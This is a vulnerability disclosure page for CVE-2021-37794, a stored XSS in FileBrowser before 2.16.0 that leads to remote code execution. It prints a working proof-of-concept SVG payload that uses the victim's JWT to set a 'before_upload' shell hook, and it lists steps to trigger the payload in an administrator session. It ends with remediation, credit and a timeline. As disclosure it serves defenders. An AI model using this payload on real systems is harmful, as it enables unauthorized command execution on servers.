--- title: "CX-2021-4813" date: "2021-09-19T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4813/" --- # CX-2021-4813 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Jul 26, 2021 CVE-2021-37794 **Published:** Sep 19, 2021 9 Critical Severity Cross Site Scripting FileBrowser Remote Code Execution XSS OI Omri Inbar Reported by Checkmarx Zero Details Overview ## Summary FileBrowser prior to version 2.16.0 is vulnerable to Stored XSS ## Product FileBrowser prior to 2.16.0 ## Impact An authenticated attacker can execute arbitrary OS commands on any FileBrowser instance prior to 2.16.0 by uploading a malicious .svg file which acts as a stored XSS payload. ## Steps to reproduce 1. As a user with upload privileges, upload an SVG file containing a malicious script, such as the following: ``` ``` <svg version=”1.1″ baseProfile=”full” xmlns=”[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)” id=”mysvg”> <script type=”text/javascript”> var xhr = new XMLHttpRequest(); xhr.open(“PUT”, document.location\[‘origin’\] + “/api/settings”, true); xhr.setRequestHeader(“Accept”, “*/*“); xhr.setRequestHeader(“X-Auth”, localStorage\[‘jwt’\]); xhr.setRequestHeader(“Accept-Language”, “en-US,en;q=0.5”); xhr.setRequestHeader(“Content-Type”, “text/plain;charset=UTF-8”); xhr.withCredentials = true; var body = “{“signup”:false,”createUserDir”:false,”defaults”:{“scope”:”.”,”locale”:”en”,”viewMode”:”mosaic”,”singleClick”:false,”sorting”:{“by”:””,”asc”:false},”perm”:{“admin”:false,”execute”:true,”create”:true,”rename”:true,”modify”:true,”delete”:true,”share”:true,”download”:true},”commands”:\[\],”hideDotfiles”:false},”rules”:\[\],”branding”:{“name”:””,”disableExternal”:false,”files”:””,”theme”:””},”shell”:\[\],”commands”:{“after\_copy”:\[\],”after\_delete”:\[\],”after\_rename”:\[\],”after\_save”:\[\],”after\_upload”:\[\],”before\_copy”:\[\],”before\_delete”:\[\],”before\_rename”:\[\],”before\_save”:\[\],”before\_upload”:\[“touch /tmp/rce.txt”\]}}”; xhr.send(body); ``` setTimeout(() => { console.log(); }, 2000); var xhr2 = new XMLHttpRequest(); xhr2.open("POST", document.location['origin'] + "/api/resources/" + Math.random().toString(36).substring(7) + ".html?override=true", true); xhr2.setRequestHeader("Accept", "*/*"); xhr2.setRequestHeader("X-Auth", localStorage['jwt']); xhr2.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr2.setRequestHeader("Content-Type", "text/html"); xhr2.withCredentials = true; xhr2.send("abcd"); ``` </script> </svg> ``` 2. This .svg will run javascript code that will: a. upload a new Global Setting configuration with the “before_upload” parameter set to “touch /tmp/rce.txt” b. upload a file with a random filename to trigger the command set before 3. Open the Development tools in the browser, and copy the following URL from the "Network" tab: http://filebrowser-ip:8080/api/preview/thumb/exploit.svg?auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoyLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjpmYWxzZSwiZXhlY3V0ZSI6dHJ1ZSwiY3JlYXRlIjp0cnVlLCJyZW5hbWUiOnRydWUsIm1vZGlmeSI6dHJ1ZSwiZGVsZXRlIjp0cnVlLCJzaGFyZSI6dHJ1ZSwiZG93bmxvYWQiOnRydWV9LCJjb21tYW5kcyI6W10sImxvY2tQYXNzd29yZCI6ZmFsc2UsImhpZGVEb3RmaWxlcyI6ZmFsc2V9LCJleHAiOjE2MjM0NTU0MDIsImlhdCI6MTYyMzQ0ODIwMiwiaXNzIjoiRmlsZSBCcm93c2VyIn0.8zKdkS5JeHdkPpA-Hrrv-hoGzC247hmxzMiDKci_eAA&inline=true&k=1623448194873 this URL is the XSS payload. 4. Login to a different session (for example from a different browser) with an administrator account. Then click on the URL. This will trigger the payload. ### Expected result: The payload will write an empty file to /tmp/rce.txt. ``` ## Remediation This issue was fixed in version 2.16.0 through the [commit](https://github.com/filebrowser/filebrowser/commit/201329abce4e92ae9071b9ded81e267aae159fbd). ## Credit This issue was discovered and reported by Checkmarx Security Researcher [Omri Inbar](https://www.linkedin.com/in/omri-inbar-4629a6110/). ## Resources 1. [(cae2031)](https://github.com/filebrowser/filebrowser/commit/201329abce4e92ae9071b9ded81e267aae159fbd) 0 Critical Severity CVSS v3.1 Score 9 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: Low - User Interaction: Required - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High Advisory Timeline1. Disclosed Jul 7, 2021 Notified the maintainer 2. Fixed Jul 26, 2021 Fix got released ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)